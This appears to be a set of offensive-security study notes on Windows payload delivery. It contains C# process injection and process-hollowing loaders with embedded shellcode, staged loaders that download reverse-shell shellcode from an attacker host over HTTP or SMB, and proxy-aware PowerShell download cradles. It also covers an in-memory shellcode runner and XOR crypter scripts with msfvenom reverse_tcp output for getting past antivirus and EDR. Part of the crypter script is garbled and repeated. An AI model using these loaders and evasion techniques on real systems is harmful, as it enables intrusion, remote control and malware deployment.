private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
//public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 SUSPEND_RESUME = 0x0002;
public static void Main()
{
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp
byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
string proc = "userinit.exe";
Process newproc;
newproc = Process.Start(proc);
Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
Console.WriteLine("Suspending process...");
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
SuspendThread(pOpenThread);
}
Console.WriteLine("Suspended!");
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);
IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocating memory");
WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
Console.WriteLine("Copied shellcode in memory");
IntPtr pinfo = IntPtr.Zero;
IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
Console.WriteLine("Created remote thread");
Console.WriteLine("Resuming process...");
foreach (ProcessThread thread in newproc.Threads)
{
IntPtr pOpenThread;
pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
if (pOpenThread == IntPtr.Zero)
{
break;
}
ResumeThread(pOpenThread);
}
Console.WriteLine("Resumed!");
}
}Staged - Download payload through CIFS/SMB
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace ProcessHollowingExample
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
static void Main(string[] args)
{
string targetPath = "C:\\Windows\\System32\\svchost.exe";
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
string shellcodePath = "path_to_shellcode.bin"; // Replace with the actual shellcode file path
IntPtr processHandle, threadHandle;
uint threadId;
// Create a suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,
false, 0x4, IntPtr.Zero, null, ref si, out pi);
if (!success)
{
Console.WriteLine("CreateProcess failed: " + Marshal.GetLastWin32Error());
return;
}
// Query process information to get the PEB address
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
// Calculate the address of the EntryPoint
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
// Read the PE header to locate the EntryPoint
byte[] peHeader = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
// Read the shellcode
byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);
// Overwrite the EntryPoint with the shellcode
IntPtr nWritten = IntPtr.Zero;
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);
// Resume the suspended thread
ResumeThread(pi.hThread);
Console.WriteLine("Shellcode injected and executed successfully.");
}
}
}Staged - Download payload over HTTP/HTTPS
using System;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading.Tasks;
namespace ProcessHollowingExample
{
internal class Program
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess,
int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
[Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
static async Task Main(string[] args)
{
string targetPath = "C:\\Windows\\System32\\notepad.exe";
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
string shellcodeUrl = "http://192.168.1.126/shellcode.bin"; // Replace with the actual URL of the shellcode binary
IntPtr processHandle, threadHandle;
uint threadId;
// Create a suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,
false, 0x4, IntPtr.Zero, null, ref si, out pi);
if (!success)
{
Console.WriteLine("CreateProcess failed: " + Marshal.GetLastWin32Error());
return;
}
// Query process information to get the PEB address
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
// Calculate the address of the EntryPoint
IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] addrBuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
// Read the PE header to locate the EntryPoint
byte[] peHeader = new byte[0x200];
ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);
uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);
uint opthdr = e_lfanew_offset + 0x28;
uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);
IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);
// Read the shellcode from the specified URL
byte[] shellcode;
using (HttpClient client = new HttpClient())
{
try
{
shellcode = await client.GetByteArrayAsync(shellcodeUrl);
}
catch (Exception ex)
{
Console.WriteLine("Error downloading shellcode: " + ex.Message);
return;
}
}
// Overwrite the EntryPoint with the downloaded shellcode
IntPtr nWritten = IntPtr.Zero;
WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);
// Resume the suspended thread
ResumeThread(pi.hThread);
Console.WriteLine("Shellcode injected and executed successfully.");
}
}
}
Phishing
Bypass 2-Fa
Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube
Proxy-aware PowerShell Cradle
A proxy is an intermediary server that sits between a user's computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.
192.168.168.11 - Victim
192.168.168.12 - Proxy server
Setting up proxy

List of proxy-aware PowerShell cradles
- Net.WebClient (as you've seen)
$wc = New-Object System.Net.WebClient
$wc.DownloadString('http://example.com/script.ps1')The Net.WebClient class respects the system proxy settings by default.
- Invoke-WebRequest and Invoke-RestMethod
Invoke-WebRequest -Uri 'http://example.com/script.ps1'or
Invoke-RestMethod -Uri 'http://example.com/script.ps1'These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the -Proxy parameter.
- System.Net.HttpWebRequest
$req = [System.Net.HttpWebRequest]::Create('http://example.com/script.ps1')
$resp = $req.GetResponse()
$sr = New-Object IO.StreamReader($resp.GetResponseStream())
$result = $sr.ReadToEnd()Like Net.WebClient, the HttpWebRequest class also respects system proxy settings by default. Its behavior can be altered by changing the .Proxy property of the request object.
- BitsTransfer
Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://example.com/script.ps1' -Destination 'path\to\save'The BitsTransfer module is used to transfer files, and it is proxy-aware. It respects system proxy settings.
SYSTEM Proxy with Net.WebClient
Create a Proxy Configuration for SYSTEM
- Proxy settings per user are stored in the registry at:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings- When accessing as SYSTEM,
HKEY_CURRENT_USERdoes not exist. UseHKEY_USERSinstead.
PowerShell to Setup Proxy for SYSTEM Integrity
- Map HKEY_USERS registry hive:
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null- Find the correct user hive based on SID:
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {
if ($key.Name -like "*S-1-5-21-*") {
$start = $key.Name.substring(10)
break
}
}- Fetch the proxy settings:
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer- Create and assign the proxy object:
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run2.ps1")Full Code for SYSTEM Proxy-Aware Download Cradle
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {
if ($key.Name -like "*S-1-5-21-*") {
$start = $key.Name.substring(10)
break
}
}
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run2.ps1")
Note
- Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping
HKEY_USERSwill persist across reruns.
Reflection Load (In-memory)
Powershell
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.
This code below is same as Simple Shellcode Runner Powershell Ver 2.
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {
If($_.Name -eq "GetProcAddress") {
$tmp+=$_
}
}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll VirtualAlloc),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll CreateThread),
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll WaitForSingleObject),
(getDelegateType @([IntPtr], [Int32]) ([Int]))
).Invoke($hThread, 0xFFFFFFFF)Shellcode obfuscation script
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.
Espio
Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)
# The obfuscation method usid is xor
def obfuscate_payload(payload, key):
encrypted_payload = ""
for i in range(len(payload)):
obf_char = chr(payload[i] ^ ord(key[i % len(key)]))
hex_char = hex(ord(obf_char))
if len(hex_char) == 3:
hex_char = f"0x0{hex_char[-1]}"
encrypted_payload += hex_char
encrypted_payload_bytes = encrypted_payload.encode("UTF-8")
obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)
obfuscated_payload = obfuscated_payload_bytes.decode("UTF-8")
return "".join(obfuscated_payload)
def generate_key():
letters = [chr(ascii_value) for ascii_value in range(33, 127)]
key = "".join(random.choices(letters, k=random.randint(100, 500)))
return key
# In main.cpp the decryption routine
int keyIndex = 0;
for (int i = 0; i < encryptedPayloadSize; i += 4)
{
std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];
payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];
}Scarecrow
optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process's memory. This works because we know the EDR’s hooks are placed when a process is spawned.
Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com
# Check -h for detailed info.ShellCrypt
Encryption Methods
- AES (128-bit CBC)
- ChaCha20
- RC4
- Salsa20
- XOR
https://github.com/iilegacyyii/Shellcrypt#supported-formatsSupported Formats
- C
- C#
- Nim
- Golang
- Python
- Powershell
- Visual Basic for Applications (VBA)
- Visual Basic Script (VBS)
- Rust
- Raw
python3 shellcrypt.py -i shellcode.bin -e xor -f csharpShellcode injection techniques
From github: "A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload."
- Assembly Injection
- Shellcode Runner
- Classic Injection
- Thread Hijacking
- Local Thread Hijacking
- Asychronous Procedure Call Injection
- Process Hollowing
- Inter-Process Mapped View
- Atom Bombing
Shellcode Encryptors
Shellcode Encryptors - Helper code
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.
ShellcodeCrypter-bin.py
┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin
┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa
[i] Generating payload for path shell.bin.
[i] Encoding payload with type xor and key 0xfa
[+] Encoded payload (CSharp):
// Payload xor-encoded with key 0xfa
byte[] buf = new byte[68] {
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,
0xf1,0x37,0x7a
};
[i] Decoding function:
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}# ShellcodeCrypter-bin.py
#!/usr/bin/python3
# Basic shellcode crypter for C# payloads
# By Cas van Cooten
import re
import platform
import argparse
import subprocess
from random import randint
if platform.system() != "Linux":
exit("[x] ERROR: Only Linux is supported for this utility script.")
class bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
# Parse input arguments
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser()
parser.add_argument("path", help="the path to load the raw shellcode payload from", nargs='?', default="/tmp/payload.bin")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
args = parser.parse_args()
# Generate the shellcode given the input path
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.")
try:
with open(args.path, "rb") as f:
payload = f.read()
except:
exit(f'{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}')
# Format the output payload
if args.format == "cs":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}")
encodedPayload = []
payloadFormatted = ""
for byte in payload:
byteInt = int(byte)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
encodedPayload.append("{0:#0{1}x}".format(byteInt,4))
payLen = len(encodedPayload)
encodedPayload = re.sub("(.{65})", "\\1\n", ','.join(encodedPayload), 0, re.DOTALL)
payloadFormatted += f"// Payload {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}")
print(payloadFormatted + "\n")
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""for (int i = 0; i 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
"""
if args.encoding == "rot":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
"""
print(decodingFunc)
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")shellcodeCrypter-msfvenom.py
┌──(root㉿kali)-[/home/kali/Desktop/osep]
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of csharp file: 691 bytes
[i] Encoding payload with type xor and key 250
[+] Encoded payload (C++):
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp
// xor-encoded with key 0xfa
unsigned char buffer[] =
"\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8"
"\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3"
"\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a"
"\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2"
"\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf"
"\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d"
"\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2"
"\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17"
\x05\x1c;
[i] Decoding function:
char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ 0xfa);#
#!/usr/bin/python3
# Basic shellcode crypter for C# payloads
# By Cas van Cooten
import re
import platform
import argparse
import subprocess
from random import randint
if platform.system() != "Linux":
exit("[x] ERROR: Only Linux is supported for this utility script.")
class bcolors:
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
# Parse input arguments
def auto_int(x):
return int(x, 0)
parser = argparse.ArgumentParser()
